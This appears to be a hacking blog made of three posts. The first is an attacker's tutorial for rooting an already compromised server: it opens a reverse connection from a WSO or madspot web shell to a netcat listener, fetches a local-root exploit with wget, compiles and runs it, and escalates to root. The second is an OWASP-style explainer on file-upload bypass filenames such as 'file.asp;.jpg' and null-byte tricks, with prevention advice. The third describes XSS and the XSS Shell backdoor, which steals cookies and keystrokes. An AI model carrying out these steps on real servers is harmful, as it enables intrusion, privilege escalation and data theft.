Today I am going to give you a tutorial about rooting a server.<br />
<br />
Okay First what we need<br />
<br />
1 ) Shelled Server.<br />
2) Open Ports<br />
3) Exploit<br />
<br />
Okay lets Go<br />
First Open your Shell<br />
<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAtqV_RLr18IwYj9oVCuPWvjlJ4DtNUx576qjTydP-QxWnhQ-At7CcHKyDFLDO9KDhJyWiHU5DC4_bYURBZZcEr2D1nhdR-DhKXa1C_LtE-o9nnYt2Mv0K7wPFJJgIn4SvvSfhwZe_q8Y/s1600/wso.jpg" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="26" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAtqV_RLr18IwYj9oVCuPWvjlJ4DtNUx576qjTydP-QxWnhQ-At7CcHKyDFLDO9KDhJyWiHU5DC4_bYURBZZcEr2D1nhdR-DhKXa1C_LtE-o9nnYt2Mv0K7wPFJJgIn4SvvSfhwZe_q8Y/s320/wso.jpg" width="320" /></a><br />
<br />
<br />
Ok After Opening Shell<br />
Nevigate to network Tab ( WSO ) or CONNECT ( madspot )<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxcR3MSyb238Lvhd-Sv1Ma_cXpP8FzYYsxncfzb1rvrn-uwd1O4dUvIr5m7vLbKEptHZt8-Rg7UdTnNZCE2dgz2oe6azDLrZLUYzuCkuBvcnq2Es3kMYhASxgip9PFparSjGDv4lw9PtM/s1600/net.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="80" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxcR3MSyb238Lvhd-Sv1Ma_cXpP8FzYYsxncfzb1rvrn-uwd1O4dUvIr5m7vLbKEptHZt8-Rg7UdTnNZCE2dgz2oe6azDLrZLUYzuCkuBvcnq2Es3kMYhASxgip9PFparSjGDv4lw9PtM/s320/net.jpg" width="320" /></a></div>
<br />
<br />
Now Enter Your Desired Port Which you have forwarded in your local machine as well it is Opened in Target machine.<br />
TIP : You Should Use Port 22 because it is opened in almost all Servers.<br />
<br />
After binding Put you ip in the server Box and Put the port which you have bind and forward.<br />
<br />
But before clicking Submit<br />
<br />
Download netcat ( Windows ) - Download HERE ( Link )<br />
<br />
Download and Extract into C:\ directory like :<br />
C:\nc\nc.exe<br />
<br />
Now open command prompt<br />
<br />
And type<br />
<b>cd \</b><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhn94euFmqK0f7VXy-KLeN_w4ZVx245VtGhQmxgvRtbUHYEiXbZz-VAjND-ozavqcVLNVXd4h8hRKPm19cYhDMgPhXVjRoGyg8kE_Rs99nH9XUuFfXjz1UpGK-6FaKwiOvEj4LNHORV-ZU/s1600/nc1.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="172" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhn94euFmqK0f7VXy-KLeN_w4ZVx245VtGhQmxgvRtbUHYEiXbZz-VAjND-ozavqcVLNVXd4h8hRKPm19cYhDMgPhXVjRoGyg8kE_Rs99nH9XUuFfXjz1UpGK-6FaKwiOvEj4LNHORV-ZU/s320/nc1.png" width="320" /></a></div>
<br />
<br />
Now Give this Command<br />
<br />
<b>cd nc </b><br />
Note : make sure you have extracted netcat in C:\nc<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiq9UzqksIMFFtSCDSZamf0Sz9rU4gNWLLgTWoxFRDcbs7EN8EWYsXgM3HHoMBd1juxkZurs-8l3tx3YAW9ZwV-_kawcdzjEyb-W5a2AqedF9wJdPXhWdBasuroPaFmTCst3SR2Jp3R0cw/s1600/nc2.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="158" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiq9UzqksIMFFtSCDSZamf0Sz9rU4gNWLLgTWoxFRDcbs7EN8EWYsXgM3HHoMBd1juxkZurs-8l3tx3YAW9ZwV-_kawcdzjEyb-W5a2AqedF9wJdPXhWdBasuroPaFmTCst3SR2Jp3R0cw/s320/nc2.png" width="320" /></a></div>
<br />
<br />
Now type<br />
<br />
<b>nc -vlp 22</b><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjx5Q763LhLgyL9Q-no4IWGCiqrlzNKl8IRPCsBQP7V-G_9DWODAnVi3YwANYeQJ_Fjp6r3vCkD6RhOM6iWe0-u5gyd-DRlotKZ4g_bws_vEf_KQjMu7-WafaB9ulc6Vj6cfz2IDYi_FWs/s1600/nc3.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="157" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjx5Q763LhLgyL9Q-no4IWGCiqrlzNKl8IRPCsBQP7V-G_9DWODAnVi3YwANYeQJ_Fjp6r3vCkD6RhOM6iWe0-u5gyd-DRlotKZ4g_bws_vEf_KQjMu7-WafaB9ulc6Vj6cfz2IDYi_FWs/s320/nc3.png" width="320" /></a></div>
<br />
<br />
Ok Now After Doing This<br />
Open your shell Put your ip in server section and type port 22 and click submit<br />
<br />
After clicking submit if every thing went ok<br />
<br />
you will get a back connection from server<br />
<br />
Now<br />
<br />
type this command<br />
<b>Wget [the link of the local-Root.zip]</b><br />
for example : <b>wget www.exploit-db.com/exploit.zip</b><br />
<br />
Now Type command to unzip the archieve.<br />
<b>unzip exploit.zip</b><br />
<br />
Note : you can skip the above two steps if you directly upload .C file<br />
<br />
Now Give this Command<br />
<b>chmod 777 local.c</b><br />
<br />
Note : replace the Local.c with the name of the file.<br />
<br />
now to Compile or change the local-root from local.c > local<br />
Type this command :<br />
<b>gcc local.c -o local </b><br />
Then you will find local.c transformed to local<br />
<br />
Now Type this Command<br />
<b>chmod 777 local</b><br />
<br />
Now execute the local exploit By Giving This Command.<br />
<b>./local</b><br />
<br />
If It Executes properly without showing any error.<br />
<br />
Then Type This Command<br />
<b>su</b><br />
then see your id uid=0(root) gid=0(root) groups=0(root)<br />
<br />
Else If  u Got any error then that means The exploit does not works for server. Or the server is patched.</div>
</div>
</div>

Rooting a server

Rooting server Rooting a server Today I am going to give you a tutorial about rooting a server. Okay ...

Unrestricted File Upload

<div dir="ltr" style="text-align: left;" trbidi="on">
<h2>
 <span class="mw-headline" id="Description"> Description  </span></h2>
Uploaded files represent a significant risk to applications. The 
first step in many attacks is to get some code to the system to be 
attacked. Then the attack only needs to find a way to get the code 
executed. Using a file upload helps the attacker accomplish the first 
step.
<br />
The consequences of unrestricted file upload can vary, including 
complete system takeover, an overloaded file system or database, 
forwarding attacks to back-end systems, and simple defacement. It 
depends on what the application does with the uploaded file and 
especially where it is stored.
<br />
There are really two classes of problems here. The first is with 
the file metadata, like the path and file name. These are generally 
provided by the transport, such as HTTP multi-part encoding. This data 
may trick the application into overwriting a critical file or storing 
the file in a bad location. You must validate the metadata extremely 
carefully before using it.
<br />
The other class of problem is with the file size or content. The 
range of problems here depends entirely on what the file is used for. 
See the examples below for some ideas about how files might be misused. 
To protect against this type of attack, you should analyze everything 
your application does with files and think carefully about what 
processing and interpreters are involved.
<br />

<h2>
 <span class="mw-headline" id="Risk_Factors"> Risk Factors </span></h2>
<ul>
<li> The impact of this vulnerability is high, supposed code can be 
executed in the server context or on the client. The likelihood of a 
detection for the attacker is high. The prevalence is common. As a 
result the severity of this type of vulnerability is High.
</li>
<li> The web server can be compromised by uploading and executing a
 web-shell which can run commands, browse system files, browse local 
resources, attack other servers, and exploit the local vulnerabilities, 
and so forth. This may also result in a defacement.
</li>
<li> An attacker might be able to put a phishing page into the website.
</li>
<li> An attacker might be able to put stored XSS into the website.
</li>
<li> This vulnerability can make the website vulnerable to some other types of attacks such as <a href="https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29" title="Cross-site Scripting (XSS)">XSS</a>.
</li>
<li> Picture uploads may trigger vulnerabilities in broken picture 
libraries on a client (libtiff, IE had problems in the past) if the 
picture is published 1:1.
</li>
<li> Script code or other code may be embedded in the uploaded file, which gets executed if the picture is published 1:1.
</li>
<li> Local vulnerabilities of real-time monitoring tools, such as an antivirus, can be exploited.
</li>
<li> A malicious file (Unix shell script, windows virus, reverse 
shell) can be uploaded on the server in order to execute code by an 
administrator or webmaster later -- on the server or on a client of the 
admin or webmaster.
</li>
<li> The web server might be used as a server in order to host of malware, illegal software, porn, and other objects.
</li>
</ul>
<h2>
 <span class="mw-headline" id="Examples"> Examples  </span></h2>
<h3>
 <span class="mw-headline" id="Attacks_on_application_platform"> Attacks on application platform  </span></h3>
<ul>
<li>Upload .jsp file into web tree - jsp code executed as web user 
</li>
<li>Upload .gif to be resized - image library flaw exploited 
</li>
<li>Upload huge files - file space denial of service 
</li>
<li>Upload file using malicious path or name - overwrite critical file 
</li>
<li>Upload file containing personal data - other users access it 
</li>
<li>Upload file containing "tags" - tags get executed as part of being "included" in a web page
</li>
</ul>
<h3>
 <span class="mw-headline" id="Attacks_on_other_systems"> Attacks on other systems  </span></h3>
<ul>
<li>Upload .exe file into web tree - victims download trojaned executable 
</li>
<li>Upload virus infected file - victims' machines infected 
</li>
<li>Upload .html file containing script - victim experiences <a href="https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29" title="Cross-site Scripting (XSS)">Cross-site Scripting (XSS)</a>
</li>
</ul>
<br />
<br />

<h2>
 <span class="mw-headline" id="Weak_Protection_Methods_and_Methods_of_Bypassing"> Weak Protection Methods and Methods of Bypassing  </span></h2>
<h3>
 <span class="mw-headline" id="Using_Black-List_for_Files.E2.80.99_Extensions"> Using Black-List for Files’ Extensions  </span></h3>
Some web applications still use only a black-list of extensions to prevent from uploading a malicious file. 
<br />

<ul>
<li>It is possible to bypass this protection by using some 
extensions which are executable on the server but are not mentioned in 
the list. (Example: “file.php5”, “file.shtml”, “file.asa”, or 
“file.cer”) 
</li>
<li>Sometimes it is possible to bypass this protection by changing 
some letters of extension to the capital form (example: “file.aSp” or 
“file.PHp3”). 
</li>
<li>Using trailing spaces and/or dots at the end of the filename 
can sometimes cause bypassing the protection. These spaces and/or dots 
at the end of the filename will be removed when the file wants to be 
saved on the hard disk automatically. The filename can be sent to the 
server by using a local proxy or using a simple script (example: 
“file.asp ... ... . . .. ..”, “file.asp ”, or “file.asp.”).
</li>
<li>A web-server may use the first extension after the first dot 
(“.”) in the file name or use a specific priority algorithm to detect 
the file extension. Therefore, protection can be bypassed by uploading a
 file with two extensions after the dot character. The first one is 
forbidden, and the second one is permitted (example: “file.php.jpg”).
</li>
<li>In case of using IIS6 (or prior versions), it might be possible
 to bypass this protection by adding a semi-colon after the forbidden 
extension and before the permitted extension (example: “file.asp;.jpg”).
</li>
<li>In case of using IIS6 (or prior versions), it might be possible
 to bypass this protection by putting an executive file such as ASP with
 another extension in a folder which ends with an executive extension 
such as “.asp” (example: “folder.asp\file.txt”). Besides, it is possible
 to create a directory just by using a file uploader and ADS (Alternate 
Data Stream). In this method, filename should end with 
“::$Index_Allocation” or “:$I30:$Index_Allocation” to create a directory
 instead of a file (example:  “newfolder.asp::$Index_Allocation” creates
 “newfolder.asp” as a new directory).
</li>
<li>This protection can be completely bypassed by using the e.g. 
control characters like Null (0x00) after the forbidden extension and 
before the permitted one. In this method, during the saving process all 
the strings after the Null character will be discarded. Putting a Null 
character in the filename can be simply done by using a local proxy or 
by using a script (example: “file.asp%00.jpg”). Besides, it would be 
perfect if the Null character is inserted directly by using the Hex view
 option of a local proxy such as Burpsuite or Webscarab in the right 
place (without using %). 
</li>
<li>It is also possible to create a file with a forbidden extension
 by using NTFS alternate data stream (ADS). In this case, a “:” sign 
will be inserted after the forbidden extension and before the permitted 
one. As a result, an empty file with the forbidden extension will be 
created on the server (example: “file.asp:.jpg”). Attacker can try to 
edit this file later to execute his/her malicious codes. However, an 
empty file is not always good for an attacker. So, there is an invented 
method by the author of this paper in which an attacker can upload a 
non-empty shell file by using the ADS. In this method, a forbidden file 
can be uploaded by using this pattern: “file.asp::$data.”.
</li>
<li>In Windows Servers, it is possible to replace the files by 
using their short-name (8.3). (example: “web.config” can be replaced by 
uploading “web~1.con”)
</li>
<li>Sometimes combination of the above can lead to bypassing the protections.
</li>
</ul>
<h3>
 <span class="mw-headline" id="Using_White-List_for_Files.E2.80.99_Extensions"> Using White-List for Files’ Extensions  </span></h3>
Many web applications use a white-list to accept the files’ 
extensions. Although using white-list is one of the recommendations, it 
is not enough on its own. Without having input validation, there is 
still a chance for an attacker to bypass the protections. 
<br />

<ul>
<li>the 3rd, 4th, 5th, and 6th methods of last section apply here as well. 
</li>
<li>The list of permitted extensions should be reviewed as it can 
contain malicious extension as well. For instance, in case of having 
“.shtml” in the list, the application can be vulnerable to SSI attacks.
</li>
</ul>
<h3>
 <span class="mw-headline" id="Using_.E2.80.9CContent-Type.E2.80.9D_from_the_Header"> Using “Content-Type” from the Header  </span></h3>
“Content-Type” entity in the header of the request indicates the 
Internet media type of the message content . Sometimes web applications 
use this parameter in order to recognize a file as a good one. For 
instance, they only accept the files with the “Content-Type” of 
“text/plain”. 
<br />

<ul>
<li>It is possible to bypass this protection by changing this parameter in the request header by using a local proxy.
</li>
</ul>
<h3>
 <span class="mw-headline" id="Using_a_File_Type_Recogniser"> Using a File Type Recogniser  </span></h3>
Sometimes web applications intentionally or unintentionally use some 
functions (or APIs) to check the type of the file in order to do further
 process. For instance, in case of having image resizing, it is probable
 to have image type recogniser. 
<br />

<ul>
<li>Sometimes the recognisers just read the few first characters (or
 header) of the files in order to check them. In this case, an attacker 
can insert the malicious code after some valid header. 
</li>
<li>There are always some places in the structure of the files 
which are for the comments section and have no effect on the main file. 
And, an attacker can insert malicious codes in these points. 
</li>
<li>Also, it is not impossible to think about a file modifier (for 
example an image resizer) which produces malicious codes itself in case 
of receiving special input.
</li>
</ul>
<br />
<br />

<h2>
 <span class="mw-headline" id="Prevention_Methods_.28Solutions_to_be_more_secure.29"> Prevention Methods (Solutions to be more secure) </span></h2>
In order to make a Windows server more secure, it is very important 
to follow the Microsoft security best practices first. For this purpose,
 some of the useful links are:
<br />

<ul>
<li>IIS 6.0 Security Best Practices<a class="external autonumber" href="http://technet.microsoft.com/en-us/library/cc782762%28WS.10%29.aspx" rel="nofollow">[1]</a>
</li>
<li>Securing Sites with Web Site Permissions<a class="external autonumber" href="http://technet.microsoft.com/en-us/library/cc756133%28WS.10%29.aspx" rel="nofollow">[2]</a>
</li>
<li>IIS 6.0 Operations Guide<a class="external autonumber" href="http://technet.microsoft.com/en-us/library/cc785089%28WS.10%29.aspx" rel="nofollow">[3]</a>
</li>
<li>Improving Web Application Security: Threats and Countermeasures<a class="external autonumber" href="http://msdn.microsoft.com/en-us/library/ms994921.aspx" rel="nofollow">[4]</a>
</li>
<li>Understanding the Built-In User and Group Accounts in IIS 7.0<a class="external autonumber" href="http://learn.iis.net/page.aspx/140/understanding-the-built-in-user-and-group-accounts-in-iis-70/" rel="nofollow">[5]</a>
</li>
<li>IIS Security Checklist<a class="external autonumber" href="http://windows.stanford.edu/docs/IISsecchecklist.htm" rel="nofollow">[6]</a>
</li>
</ul>
And some special recommendations for the developers and webmasters:
<br />

<ul>
<li>Never accept a filename and its extension directly without having a white-list filter.
</li>
<li>It is necessary to have a list of only permitted extensions on 
the web application. And, file extension can be selected from the list. 
For instance, it can be a “select case” syntax (in case of having 
VBScript) to choose the file extension in regard to the real file 
extension.
</li>
<li>All the control characters  and Unicode ones should be removed 
from the filenames and their extensions without any exception. Also, the
 special characters such as “;”, “:”, “>”, “<”, “/” ,”\”, 
additional “.”, “*”, “%”, “$”, and so on should be discarded as well. If
 it is applicable and there is no need to have Unicode characters, it is
 highly recommended to only accept Alpha-Numeric characters and only 1 
dot as an input for the file name and the extension; in which the file 
name and also the extension should not be empty at all (regular 
expression: [a-zA-Z0-9]{1,200}\.[a-zA-Z0-9]{1,10}).
</li>
<li>Limit the filename length. For instance, the maximum length of 
the name of a file plus its extension should be less than 255 characters
 (without any directory) in an NTFS partition.
</li>
<li>It is recommended to use an algorithm to determine the 
filenames. For instance, a filename can be a MD5 hash of the name of 
file plus the date of the day.
</li>
<li>Uploaded directory should not have any “execute” permission.
</li>
<li>Limit the file size to a maximum value in order to prevent 
denial of service attacks (on file space or other web application’s 
functions such as the image resizer).
</li>
<li>Restrict small size files as they can lead to denial of service attacks. So, the minimum size of files should be considered.
</li>
<li>Use Cross Site Request Forgery protection methods.
</li>
<li>Prevent from overwriting a file in case of having the same hash for both.
</li>
<li>Use a virus scanner on the server (if it is applicable). Or, if
 the contents of files are not confidential, a free virus scanner 
website can be used. In this case, file should be stored with a random 
name and without any extension on the server first, and after the virus 
checking (uploading to a free virus scanner website and getting back the
 result), it can be renamed to its specific name and extension.
</li>
<li>Try to use POST method instead of PUT (or GET!)
</li>
<li>Log users’ activities. However, the logging mechanism should be secured against log forgery and code injection itself.
</li>
<li>In case of having compressed file extract functions, contents of the compressed file should be checked one by one as a new file.
</li>
</ul>
<br />
<br />

<h2>
 <span class="mw-headline" id="Related_Attacks"> Related <a class="mw-redirect" href="https://www.owasp.org/index.php/Attacks" title="Attacks">Attacks</a>  </span></h2>
<ul>
<li> <a href="https://www.owasp.org/index.php/Path_Traversal" title="Path Traversal">Path Traversal</a>
</li>
<li> <a href="https://www.owasp.org/index.php/Path_Manipulation" title="Path Manipulation">Path Manipulation</a>
</li>
<li> <a href="https://www.owasp.org/index.php/Relative_Path_Traversal" title="Relative Path Traversal">Relative Path Traversal</a>
</li>
<li> <a href="https://www.owasp.org/index.php/Windows_::DATA_alternate_data_stream" title="Windows ::DATA alternate data stream">Windows_::DATA_alternate_data_stream</a>
</li>
</ul>
<h2>
 <span class="mw-headline" id="Related_Vulnerabilities">Related <a class="mw-redirect" href="https://www.owasp.org/index.php/Vulnerabilities" title="Vulnerabilities">Vulnerabilities</a></span></h2>
<ul>
<li> <a href="https://www.owasp.org/index.php/Category:Input_Validation_Vulnerability" title="Category:Input Validation Vulnerability">Category:Input Validation Vulnerability</a>
</li>
</ul>
<h2>
 <span class="mw-headline" id="Related_Controls"> Related <a class="mw-redirect" href="https://www.owasp.org/index.php/Controls" title="Controls">Controls</a>  </span></h2>
<ul>
<li> <a href="https://www.owasp.org/index.php/Category:Input_Validation" title="Category:Input Validation">Category:Input Validation</a>
</li>
</ul>
<h2>
 <span class="mw-headline" id="Related_Threat_Agent"> Related <a class="mw-redirect" href="https://www.owasp.org/index.php/Threat_Agent" title="Threat Agent">Threat Agent</a>  </span></h2>
<ul>
<li> <a href="https://www.owasp.org/index.php/Category:External_Threat_Agent" title="Category:External Threat Agent">Category:External Threat Agent</a>
</li>
<li> <a href="https://www.owasp.org/index.php/Category:Internal_Threat_Agent" title="Category:Internal Threat Agent">Category:Internal Threat Agent</a>
</li>
<li> <a href="https://www.owasp.org/index.php/Category:Internet_attacker" title="Category:Internet attacker">Category:Internet attacker</a>
</li>
<li> <a href="https://www.owasp.org/index.php/Category:Intranet_attacker" title="Category:Intranet attacker">Category:Intranet attacker</a>
</li>
</ul>
<h2>
 <span class="mw-headline" id="Related_Technical_Impacts"> Related <a class="mw-redirect" href="https://www.owasp.org/index.php/Technical_Impacts" title="Technical Impacts">Technical Impacts</a>  </span></h2>
<ul>
<li> <a class="new" href="https://www.owasp.org/index.php?title=System_Access&action=edit&redlink=1" title="System Access (page does not exist)">System Access</a>
</li>
<li> <a class="new" href="https://www.owasp.org/index.php?title=Security_Bypass&action=edit&redlink=1" title="Security Bypass (page does not exist)">Security Bypass</a>
</li>
<li> <a class="new" href="https://www.owasp.org/index.php?title=Exposure_of_system_information&action=edit&redlink=1" title="Exposure of system information (page does not exist)">Exposure of system information</a>
</li>
<li> <a class="new" href="https://www.owasp.org/index.php?title=Exposure_of_sensitive_information&action=edit&redlink=1" title="Exposure of sensitive information (page does not exist)">Exposure of sensitive information</a>
</li>
<li> <a class="new" href="https://www.owasp.org/index.php?title=Client_Side_Threat&action=edit&redlink=1" title="Client Side Threat (page does not exist)">Client Side Threat</a>
</li>
</ul>
<h2>
 <span class="mw-headline" id="References"> References  </span></h2>
<ul>
<li>Improve File Uploaders’ Protections – Bypass Methods- Rev. 1.0 <a class="external free" href="http://soroush.secproject.com/blog/2010/03/improve-file-uploaders%e2%80%99-protections-rev-1-0/" rel="nofollow">http://soroush.secproject.com/blog/2010/03/improve-file-uploaders%e2%80%99-protections-rev-1-0/</a> 
</li>
<li>IIS6/ASP & file upload for fun and profit <a class="external free" href="http://blog.48bits.com/2010/09/28/iis6-asp-file-upload-for-fun-and-profit/" rel="nofollow">http://blog.48bits.com/2010/09/28/iis6-asp-file-upload-for-fun-and-profit/</a>
</li>
<li>Secure file upload in PHP web applications <a class="external free" href="http://www.net-security.org/dl/articles/php-file-upload.pdf" rel="nofollow">http://www.net-security.org/dl/articles/php-file-upload.pdf</a>
</li>
<li>Potentially Dangerous File Types <a class="external free" href="http://www.windowsitpro.com/Files/18/27072/Webtable_01.pdf" rel="nofollow">http://www.windowsitpro.com/Files/18/27072/Webtable_01.pdf</a>
</li>
<li>Image Upload XSS <a class="external free" href="http://ha.ckers.org/blog/20070603/image-upload-xss/" rel="nofollow">http://ha.ckers.org/blog/20070603/image-upload-xss/</a>
</li>
<li>Code Execution Through Filenames in Uploads <a class="external free" href="http://ha.ckers.org/blog/20070620/code-execution-through-filenames-in-uploads/" rel="nofollow">http://ha.ckers.org/blog/20070620/code-execution-through-filenames-in-uploads/</a>
</li>
<li>Secure File Upload Check List With PHP <a class="external free" href="http://hungred.com/useful-information/secure-file-upload-check-list-php/" rel="nofollow">http://hungred.com/useful-information/secure-file-upload-check-list-php/</a>
</li>
<li>NTFS in WikiPedia <a class="external free" href="http://en.wikipedia.org/wiki/NTFS" rel="nofollow">http://en.wikipedia.org/wiki/NTFS</a>
</li>
<li>NTFS Streams <a class="external free" href="http://msdn.microsoft.com/en-us/library/ff469210%28v=PROT.10%29.aspx" rel="nofollow">http://msdn.microsoft.com/en-us/library/ff469210(v=PROT.10).aspx</a>
</li>
<li>NTFS - Glossary <a class="external free" href="http://inform.pucp.edu.pe/%7Einf232/Ntfs/ntfs_doc_v0.5/help/glossary.html" rel="nofollow">http://inform.pucp.edu.pe/~inf232/Ntfs/ntfs_doc_v0.5/help/glossary.html</a>
</li>
<li>IIS 6.0 Security Best Practices <a class="external free" href="http://technet.microsoft.com/en-us/library/cc782762%28WS.10%29.aspx" rel="nofollow">http://technet.microsoft.com/en-us/library/cc782762(WS.10).aspx</a>
</li>
<li>Securing Sites with Web Site Permissions <a class="external free" href="http://technet.microsoft.com/en-us/library/cc756133%28WS.10%29.aspx" rel="nofollow">http://technet.microsoft.com/en-us/library/cc756133(WS.10).aspx</a>
</li>
<li>IIS 6.0 Operations Guide <a class="external free" href="http://technet.microsoft.com/en-us/library/cc785089%28WS.10%29.aspx" rel="nofollow">http://technet.microsoft.com/en-us/library/cc785089(WS.10).aspx</a>
</li>
<li>Improving Web Application Security: Threats and Countermeasures <a class="external free" href="http://msdn.microsoft.com/en-us/library/ms994921.aspx" rel="nofollow">http://msdn.microsoft.com/en-us/library/ms994921.aspx</a>
</li>
<li>Understanding the Built-In User and Group Accounts in IIS 7.0 <a class="external free" href="http://learn.iis.net/page.aspx/140/understanding-the-built-in-user-and-group-accounts-in-iis-70/" rel="nofollow">http://learn.iis.net/page.aspx/140/understanding-the-built-in-user-and-group-accounts-in-iis-70/</a>
</li>
<li>IIS Security Checklist <a class="external free" href="http://windows.stanford.edu/docs/IISsecchecklist.htm" rel="nofollow">http://windows.stanford.edu/docs/IISsecchecklist.htm</a>
</li>
<li>Microsoft IIS ASP Multiple Extensions Security Bypass <a class="external free" href="http://secunia.com/advisories/37831/" rel="nofollow">http://secunia.com/advisories/37831/</a>
</li>
<li>CVE-2009-4444 <a class="external free" href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4444" rel="nofollow">http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4444</a>
</li>
<li>CVE-2009-4445 <a class="external free" href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4445" rel="nofollow">http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4445</a>
</li>
<li>CVE-2009-1535 <a class="external free" href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1535" rel="nofollow">http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1535</a>
</li>
</ul>
</div>

Unrestricted File Upload

Description Uploaded files represent a significant risk to applications. The first step in many attacks is to get some code to the sy...

Advanced Exploits Using XSS SHELL

<div dir="ltr" style="text-align: left;" trbidi="on">
Before understanding what XSS Shell is, let us recall a few basics of XSS (Cross Site Scripting).<br />

XSS is one of the most common vulnerabilities that exist in many web 
applications today. XSS is a technique through which the attacker tries 
to compromise the web application by executing a malicious script in the
 website. The attacker does this by breaking the “Same-Origin” policy of
 the web application. The “Same – Origin” policy states that the script 
which is coming from the foreign site or the script that doesn’t belong 
to the same domain (i.e document.domain) should not be processed by the 
application.<br />

Once an attacker is able to find out the XSS in a web application, he
 can perform different kinds of attacks by using this vulnerability. A 
few of them are:<br />

<ul>
<li>Stealing Credentials</li>
<li>Stealing Session tokens</li>
<li>Defacing the Website</li>
<li>Causing DOS</li>
<li>Installing Key loggers and many more….</li>
</ul>
Cross-Site-Scripting exists in three different forms:<br />

<ul>
<li>Reflected XSS</li>
<li>Stored XSS</li>
<li>DOM Based XSS</li>
</ul>
<strong>Reflected XSS:</strong><br />

This kind of vulnerability exists in the application that uses 
dynamic pages to display the content to the user. Normally these 
applications take the message into a parameter and render it back to the
 users.<br />

<strong>For example:</strong><br />

Consider the URL: <a href="http://www.samplesite.com/error.html?value=learn+hacking">http://www.samplesite.com/error.html?value=learn+hacking</a><br />

This shows the message “learn hacking” in the response of the 
application. This means the application extracts the message from the 
URL, processes it, and displays to the user. So the URL processes 
user-supplied data and inserts it into the server’s response. If there 
is no proper sanitization, then the application is vulnerable to 
Reflected XSS.<br />

The URL can be crafted as:<br />

<a href="http://www.samplesite.com/error.html?value=%3cscript%3ealert%281%29%3c/script">http://www.samplesite.com/error.html?value=<script>alert(1)</script</a>><br />

When you click on the above URL, it pops up an alert box.<br />

<strong>Stored XSS:</strong><br />

This type of vulnerability exists in the applications which take the 
input from the user and store it in the application, then display to the
 other users.<br />

<strong>For example:</strong><br />

Consider a Facebook application which allows commenting on any 
pictures or status updates and then displays to all other users. If the 
application doesn’t sanitize the input properly, then an attacker can 
write a script in the comment area, so that the users who visit or view 
that particular page or post will be affected.<br />

So Stored XSS consists of two things to do. Initially, the attackers 
enter the malicious script into the application. Secondly, the user 
visits the crafted page and the script is executed in the back-end 
without the knowledge of the user.<br />

<strong>DOM Based XSS:</strong><br />

DOM stands for Document Object Model. It is quite different from the 
other two attacks described earlier. In DOM Based XSS, when the users 
click on the crafted URL, the server response doesn’t consist of an 
attacker’s script. Instead, the browser executes the malicious script 
while processing the response.<br />

This is because the Document Object Model of the browser has a 
capability to determine the URL used to load the current page. The 
script issued by the application may extract the data from the URL and 
process it. Then it uploads the content of the page dynamically, 
depending upon the script executed through the URL.<br />

<strong>What is XSS Shell?</strong><br />

XSS shell is a powerful tool developed in ASP .NET which runs as a 
backdoor between the attacker and the victim. With XSS, an attacker has 
only one shot to execute any kind of attack on a victim. Once the victim
 navigates from the malicious page, the attacker’s interaction or the 
communication with the victim ends, whereas using XSS Shell helps the 
attacker to open an interactive channel with the victim and communicate 
with him by sending its commands. Here even if the victim navigates from
 the vulnerable/malicious page, the attacker can continue his 
communication as the XSS Shell Re-generates the page.<br />

The interactive shell or the communication channel which was 
established by the attacker with the victim is called “XSS Tunnel”. XSS 
Tunnel is used for tunneling the HTTP Traffic between two machines 
opened by XSS. Technically it is developed using AJAX, and that can send
 requests and receive responses and has an ability to talk cross-domain.<br />

<strong>Attack Process:</strong><br />

<ul>
<li>Setup XSS Shell Server.</li>
<li>Configure XSS Tunnel to use XSS Shell Server.</li>
<li>Inject malicious script into a vulnerable Website.</li>
<li>Launch XSS Tunnel and wait for victim.</li>
<li>Configure the browser or tool to use XSS Tunnel.</li>
<li>When victim visits the vulnerable page, start using XSS Tunnel.</li>
</ul>
<strong>How XSS Shell works:</strong><br />

<div style="text-align: center;">
Figure (A)</div>
As shown in the figure, initially the attacker establishes a 
connection with the XSS Shell and injects malicious script into the web 
Application using Stored or Reflected XSS. Once the victim clicks or 
visits the vulnerable application with the malicious script a request 
will be sent to the XSS Shell Server. On the basis of the request, the 
server establishes a channel to interact with the victim.<br />

<div style="text-align: center;">
Figure (B)</div>
Once a channel has been created between the victim and XSS Shell 
Server, the attacker can control the communication through XSS Shell 
Interface. The XSS Shell Interface is nothing but a GUI environment 
which provides a definite set of commands which the attacker executes to
 perform certain actions.<br />

On executing a command, the necessary function or the script will be 
called at the XSS Shell Server level and it is sent to the victim. The 
script will be processed and executed at the victim browser and it sends
 corresponding results to the XSS Shell Server. The XSS Shell Server 
stores the results in “MS-Access” database which is normally used by it 
to store the data. The attacker can extract the results from the 
database and look it over whenever he needs.<br />

Some of the commands that XSS Interface provides are:<br />

<ul>
<li>Get Cookie</li>
<li>Get Current Page</li>
<li>Get Clipboard</li>
<li>Get Key-logger data</li>
<li>Crash browser</li>
</ul>
